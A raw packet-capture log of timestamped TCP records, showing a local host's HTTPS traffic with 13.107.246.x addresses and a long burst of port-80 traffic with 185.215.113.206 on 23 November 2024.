Nov 23, 2024 21:59:43.465681076 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.466193914 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.466197968 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.489988089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.609473944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.706845999 CET	49885	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.706887007 CET	443	49885	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.707046986 CET	49885	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.707120895 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.707176924 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.707336903 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.707345009 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.707348108 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.707387924 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.707683086 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.707720041 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.707940102 CET	49885	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.707954884 CET	443	49885	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.707966089 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.708159924 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.708177090 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.708340883 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.708354950 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.708452940 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.708468914 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.738188982 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.738221884 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.738362074 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.738743067 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.738753080 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.908396006 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.908543110 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.908756018 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.912029982 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.912051916 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.912075043 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.912081003 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.915152073 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.915178061 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.915237904 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.915950060 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.915966034 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.944740057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.944807053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.945013046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.945059061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.945094109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.945135117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.945209980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.945250988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.945303917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.945343018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.945941925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.945996046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.946033955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.946077108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.946820021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.946832895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.946867943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.946880102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.947546959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.947596073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.947735071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.947778940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.948314905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.948368073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.948455095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.948534012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.949120045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.949171066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.949202061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.949301004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.949873924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.949940920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.950390100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.950457096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.950709105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.950752974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.950789928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.950900078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.951488018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.951534986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.952030897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.952078104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.952259064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.952270985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.952316999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.953003883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.953056097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.953799963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.953813076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.953830004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.953850031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.953871012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.954596043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.954643011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.954952002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.955219030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.955416918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.955427885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.955467939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.956139088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.956203938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.069272041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.069339037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.069483995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.069547892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.069585085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.069628000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.069704056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.069835901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.070357084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.070405960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.070482969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.070561886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.071182013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.071237087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.071479082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.071523905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.071926117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.071974993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.072443008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.072541952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.072715044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.072726965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.072767973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.073482037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.073527098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.073656082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.073694944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.074275017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.074315071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.074467897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.074510098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.075067043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.075112104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.075638056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.075742960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.075850964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.075953007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.075997114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.076628923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.076679945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.076883078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.076934099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.077513933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.077563047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.077686071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.077728987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.078227997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.078291893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.078908920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.078968048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.079014063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.079025984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.079057932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.079070091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.079761028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.079832077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.079875946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.079920053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.080538034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.080590963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.080657005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.080693007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.081334114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.081387043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.081468105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.081693888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.082113981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.082178116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.082922935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.082979918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.082993984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.082995892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.083024025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.083034992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.083674908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.083730936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.083899021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.083992004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.084518909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.084585905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.084702969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.084769964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.085237980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.085295916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.085958004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.086092949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.086100101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.086113930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.086143017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.086155891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.086884975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.086896896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.086951971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.086976051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.087610006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.087651968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.087676048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.087698936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.088392973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.088460922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.088499069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.088538885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.089169025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.089240074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.089971066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.089982986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.089996099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.090030909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.090063095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.090718031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.090770006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.090970039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.091029882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.091525078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.091737032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.091941118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.091988087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.092331886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.092389107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.092952013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.093010902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.194190025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.194227934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.194289923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.194545984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.194601059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.194689035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.194730043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.195456982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.195511103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.195543051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.195597887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.196084023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.196129084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.196150064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.196171999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.196594000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.196638107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.196695089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.196736097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.197264910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.197314978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.197351933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.197591066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.198057890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.198165894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.198177099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.198236942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.198885918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.198944092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.198956013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.199012995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.199609041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.199678898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.199740887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.199783087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.200433016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.200484037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.200575113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.200675964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.201178074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.201231003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.201267004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.201307058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.201953888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.201997995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.202064037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.202111006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.202740908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.202800035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.202883959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.203150034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.203516960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.203562975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.203687906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.203731060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.204356909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.204452991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.204508066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.205137968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.205184937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.205193996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.205245018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.205890894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.205956936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.206058025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.206118107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.206743956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.206803083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.206851959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.206902027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.207504034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.207582951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.207596064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.207633972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.208331108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.208393097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.208523035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.208564043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.209240913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.209292889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.209316969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.209362984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.209860086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.209920883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.209928989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.210046053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.210577965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.210627079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.210664034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.210705996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.211357117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.211417913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.211427927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.211456060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.212131023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.212181091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.212218046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.212265968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.279951096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.280044079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.280111074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.280150890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.280312061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.280370951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.280539036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.280720949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.280745983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.280761957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.281369925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.281430006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.281466961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.281558037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.282116890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.282267094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.282316923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.282871962 CET	80	49809	185.215.113.206	192.168.2.6
